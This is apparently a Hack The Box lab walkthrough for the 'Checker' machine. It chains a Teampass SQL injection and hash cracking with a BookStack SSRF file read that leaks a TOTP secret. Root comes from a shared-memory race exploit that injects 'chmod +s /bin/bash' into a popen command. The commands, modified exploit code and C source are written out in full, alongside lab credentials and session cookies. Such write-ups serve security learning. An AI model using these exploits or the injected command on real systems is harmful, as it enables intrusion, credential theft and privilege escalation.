HTB - Checker
HTB - Checker⌗
Enumeration:⌗
Nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-23 09:44 EST
Nmap scan report for 10.129.231.241
Host is up (0.025s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp open http Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
8080/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 24.61 ms 10.10.14.1
2 25.06 ms 10.129.231.241
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.62 seconds
User exploit⌗
The web application running on port 80 is BookStack. Since we don’t have credentials for now, let’s move on.
The web application running on port 8080 is Teampass.
TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way by sharing them among team members.
Searching online, we can find a CVE about a SQL injection in the version 3.0.10 or higher.
https://security.snyk.io/vuln/SNYK-PHP-NILSTEAMPASSNETTEAMPASS-3367612
Exploiting this vulnerability is possible via the TeamPass /authorize API endpoint through the login field.
Running the script against Teampass, we get credential for two users
# Command
./teampass_sqli.sh http://vault.checker.htb:8080
# Output
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
# Cracking the hash with hashcat
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader
Inside the Teampass, we find credential for:
- A password to authenticate to the Bookstack
bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD
- An ssh access
reader:hiccup-publicly-genesis
When trying to authenticate with SSH, we can see that we need a Verification Code
# Command
ssh reader@checker.htb
# Output
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:
We need to find a way to get the OTP for the user.
Going back on the BookStack instance, we now have credentials to login.
We have a good understanding of what we should do next. Find a LFI vulnerability on this web application to get the OTP key to generate a valid OTP.
We find this blog online, saying we can get SSRF on the software
https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack
https://fluidattacks.com/advisories/imagination
A server-side request forgery (SSRF) vulnerability has been identified in Book Stack that, under certain conditions, could allow an attacker to obtain local files from the server.
At the end of the blogpost you find this information
Summarizing, with a simple modification of the script php_filter_chains_oracle_exploit we can use the technique to filter the content of any file on the server.
Let’s use the tool made by Synacktiv to get file read.
https://github.com/synacktiv/php_filter_chains_oracle_exploit
In the end, what you have to modify from the source code is this part in the requestor.py
file.
It basically change the output payload to match the exploit of BookStack explained in the blog post.
# Original code
"""
Returns the response of a request defined with all options
"""
[...]
filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
# DEBUG print(filter_chain)
merged_data = self.parse_parameter(filter_chain)
# Make the request, the verb and data encoding is defined
try:
# Modified code
filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
# DEBUG print(filter_chain)
filter_chain = base64.b64encode(filter_chain.encode()).decode()
filter_chain = f"html=<img+src='data:image/png;base64,{filter_chain}'/>"
merged_data = filter_chain
#merged_data = self.parse_parameter(filter_chain)
# Make the request, the verb and data encoding is defined
try:
if self.verb == Verb.GET:
requ = self.session.get(self.target, params=merged_data)
return requ
elif self.verb == Verb.PUT:
if self.json_input:
requ = self.session.put(self.target, json=merged_data)
else:
You can do a quick sanity check manually to make sure it’s working
# base64 encoded payload
aHR0cDovLzEwLjEwLjE0LjYvaW1hZ2UucG5n --> http://10.10.14.6/image.png
# Request
PUT /ajax/page/12/save-draft HTTP/1.1
Host: checker.htb
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
X-CSRF-TOKEN: B4vJUeG5hvK7ek0aKC41fFFdPjITMMvdwHECPOz2
Content-type: application/x-www-form-urlencoded
Cookie: XSRF-TOKEN=eyJpdiI6IkdTZExpa2NVYWN4eDhBd0pnM3dIdUE9PSIsInZhbHVlIjoiVTU5V3FLZG1CZXpQVjBZYzZxN3d4bzZCMWM1Z0JrL3V6cFQ2RHdEK0RDR1VkYTQ3UGQvaXZjdWd4ZVowN0JoQnBNb0w1Z3FmWFBJN3dyVHQvM3ByV1kzeXQ5QnRyMkJDVG51YUZta2VKYnVubk5FY1FqQm9McVE3Z1VjdzVXRDkiLCJtYWMiOiI0MDk2ZDc3ZWRkYjczMDc1NjJhMWU1NWU1Y2ViYWU4YzljNGU1MTY5YTM2ZjQxZTE4MTQzMTEyMTllNGE4ZDhjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IjA0Y2MzbzRCclJzck1ySmpGdDNxRkE9PSIsInZhbHVlIjoiRWdyS0pJRXh3RExSMkVSbjlUZnFtRjBrNC9kZHFwMEg5SEsvRXpWbHJndkc4QlZsTkJoZTY1bkxzK3k5VUtQOTFCTzB2NTNjRmFveEdXakVqWkhJZUhSTE1LcmRSK3ZUb0kwZytqY0I0UCtrU3ZuUTVxOCtNcFE5Yk1ibEVmeFkiLCJtYWMiOiJhYzdjODVmZTBkZmYxNTJjY2MzMmE4MmJiYzUxNmM0MmI0YzQwZDg2MzRlM2ZlZWI2YmYzZDI3MDE4MzVhZmZkIiwidGFnIjoiIn0%3D
Content-Length: 76
html=<img+src='data:image/png;base64,aHR0cDovLzEwLjEwLjE0LjYvaW1hZ2UucG5n'/>
# Response
nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.6] from (UNKNOWN) [10.129.231.241] 56380
GET /image.png HTTP/1.1
Host: 10.10.14.6
Connection: close
Accept-language: en
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
With the gadget
# Command
python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/12/save-draft' --file '/etc/passwd' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"B4vJUeG5hvK7ek0aKC41fFFdPjITMMvdwHECPOz2", "Content-type":"application/x-www-form-urlencoded", "Cookie":"bookstack_session=eyJpdiI6IjA0Y2MzbzRCclJzck1ySmpGdDNxRkE9PSIsInZhbHVlIjoiRWdyS0pJRXh3RExSMkVSbjlUZnFtRjBrNC9kZHFwMEg5SEsvRXpWbHJndkc4QlZsTkJoZTY1bkxzK3k5VUtQOTFCTzB2NTNjRmFveEdXakVqWkhJZUhSTE1LcmRSK3ZUb0kwZytqY0I0UCtrU3ZuUTVxOCtNcFE5Yk1ibEVmeFkiLCJtYWMiOiJhYzdjODVmZTBkZmYxNTJjY2MzMmE4MmJiYzUxNmM0MmI0YzQwZDg2MzRlM2ZlZWI2YmYzZDI3MDE4MzVhZmZkIiwidGFnIjoiIn0%3D"}'
# Output
[*] The following URL is targeted : http://checker.htb/ajax/page/12/save-draft
[*] The following local file is leaked : /etc/passwd
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN":"B4vJUeG5hvK7ek0aKC41fFFdPjITMMvdwHECPOz2", "Content-type":"application/x-www-form-urlencoded", "Cookie":"bookstack_session=eyJpdiI6IjA0Y2MzbzRCclJzck1ySmpGdDNxRkE9PSIsInZhbHVlIjoiRWdyS0pJRXh3RExSMkVSbjlUZnFtRjBrNC9kZHFwMEg5SEsvRXpWbHJndkc4QlZsTkJoZTY1bkxzK3k5VUtQOTFCTzB2NTNjRmFveEdXakVqWkhJZUhSTE1LcmRSK3ZUb0kwZytqY0I0UCtrU3ZuUTVxOCtNcFE5Yk1ibEVmeFkiLCJtYWMiOiJhYzdjODVmZTBkZmYxNTJjY2MzMmE4MmJiYzUxNmM0MmI0YzQwZDg2MzRlM2ZlZWI2YmYzZDI3MDE4MzVhZmZkIiwidGFnIjoiIn0%3D"}
[-] File /etc/passwd is either empty, or the exploit did not work :(
[*] Auto fallback to time based attack
[*] The following URL is targeted : http://checker.htb/ajax/page/12/save-draft
[*] The following local file is leaked : /etc/passwd
[+] File /etc/passwd leak is finished!
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTA3OjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnJlYWRlcjp4OjEwMDA6MTAwMDo6L2hvbWUvcmVhZGVyOi9iaW4vYmFzaApteXNxbDp4OjEwODoxMTQ6TXlTUUwgU2VydmVyLCwsOi9ub25leGlzdGVudDovYmluL2ZhbHNlCl9sYXVyZWw6eDo5OTk6OTk5OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxz
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:104::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\npollinate:x:105:1::/var/cache/pollinate:/bin/false\nsshd:x:106:65534::/run/sshd:/usr/sbin/nologin\nusbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nreader:x:1000:1000::/home/reader:/bin/bash\nmysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false\n_laurel:x:999:999::/var/log/laurel:/bin/fals'
In the previous screenshot which you can find inside the BookStack application while looking at the different notes, the creator of the Checker box purposely leaks how to make a safe backup script. The backup will end in /backup/home_backup
. Since we know that there is a user reader
and that the OTP configuration from Google Authenticator PAM is by default configured inside the .google_authenticator
file in the home repo of the user, we can easily get it.
Get the file needed
# Command
python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/12/save-draft' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"B4vJUeG5hvK7ek0aKC41fFFdPjITMMvdwHECPOz2", "Content-type":"application/x-www-form-urlencoded", "Cookie":"bookstack_session=eyJpdiI6IjA0Y2MzbzRCclJzck1ySmpGdDNxRkE9PSIsInZhbHVlIjoiRWdyS0pJRXh3RExSMkVSbjlUZnFtRjBrNC9kZHFwMEg5SEsvRXpWbHJndkc4QlZsTkJoZTY1bkxzK3k5VUtQOTFCTzB2NTNjRmFveEdXakVqWkhJZUhSTE1LcmRSK3ZUb0kwZytqY0I0UCtrU3ZuUTVxOCtNcFE5Yk1ibEVmeFkiLCJtYWMiOiJhYzdjODVmZTBkZmYxNTJjY2MzMmE4MmJiYzUxNmM0MmI0YzQwZDg2MzRlM2ZlZWI2YmYzZDI3MDE4MzVhZmZkIiwidGFnIjoiIn0%3D"}' --file '/backup/home_backup/home/reader/.google_authenticator'
# Output
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'
Using this code inside any authenticator app, you get the 2FA code.
We can now login with the reader@checker.htb
account and get the flag.
Root exploit⌗
As reader
we can see that we can run a script with root privilege
reader@checker:/opt/hash-checker$ sudo -l
Matching Defaults entries for reader on checker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
Let’s find the content of the file
#!/bin/bash
source `dirname $0`/.env # source the env from the current directory
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]') # Remove non alphanumerical char: ex @
/opt/hash-checker/check_leak "$USER_NAME" # send the username to the binary
Let’s download the binary check_leak
to analyze it with Ghidra
The main function in Ghidra are the following
- Binary check_leak
main function
Validate that the length of the username is 20 chars max
fetch_hash_from_db is fetching the hash of the user from a MySQL and make sure it exists
check_bcrypt_in_file is comparing the hash with the content of the file leaked_hashes.txt
If the hash is in it, it will put the content into shared memory space and go into the next function which is notify_user
email_user_to_notify = write_to_shm(bcrypt_hash); printf("Using the shared memory 0x%X as temp location\\n",(ulong)email_user_to_notify);
The notify_user makes a couple of validation before running a command based of the content in the shared memory space.
The payload in the shm must start with
Leaked hash detected >;
You end up here, and get code execution with the popen command
else {
snprintf(bool_result,(long)(iVar2 + 1),
"mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"% s\"\'"
,DB_USER,DB_NAME,user_pass);
__stream = popen(bool_result,"r");
Using the following script, we can achieve our goal
# Build the script
gcc exploit.c
# Run in loop
while true; do ./a.out ; done;
# Trigger the check-leak.sh
sudo /opt/hash-checker/check-leak.sh bob
# Get root
/bin/bash -p
Version #1
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <sys/shm.h>
int main() {
srand(time(NULL));
int seed = rand();
printf("Seed: %d\n", seed);
int shmid = shmget(seed % 0xfffff,0x400, IPC_CREAT | 0x3b6);
if(shmid==-1) {
printf("shmget error\n");
return -1;
}
char *shmaddr = shmat(shmid, NULL, 0);
if(shmaddr == (char *)-1) {
perror("shmat");
return -1;
}
snprintf(shmaddr, 0x400, "Leaked hash detected at Mon Feb 24 14:11:34 2025 > ';chmod +s /bin/bash;#");
time_t writetime = time(NULL);
printf("Reading from shared memory at %ld (ID=%d) %s\n", writetime, shmid, shmaddr);
if(shmdt(shmaddr) == -1) {
perror("shmdt");
return -1;
}
return 0;
}
Resources:⌗
Hyperlink | Info |
---|---|
https://security.snyk.io/vuln/SNYK-PHP-NILSTEAMPASSNETTEAMPASS-3367612 | Teampass CVE-2023-1545 |
https://fluidattacks.com/advisories/imagination/ (CVE-2023-6199) | CVE-2023-6199 |
https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack/ | LFR BookStack |
https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle | PHP Filter chains explained |
https://github.com/synacktiv/php_filter_chains_oracle_exploit | php_filter_chains_oracle_exploit repo |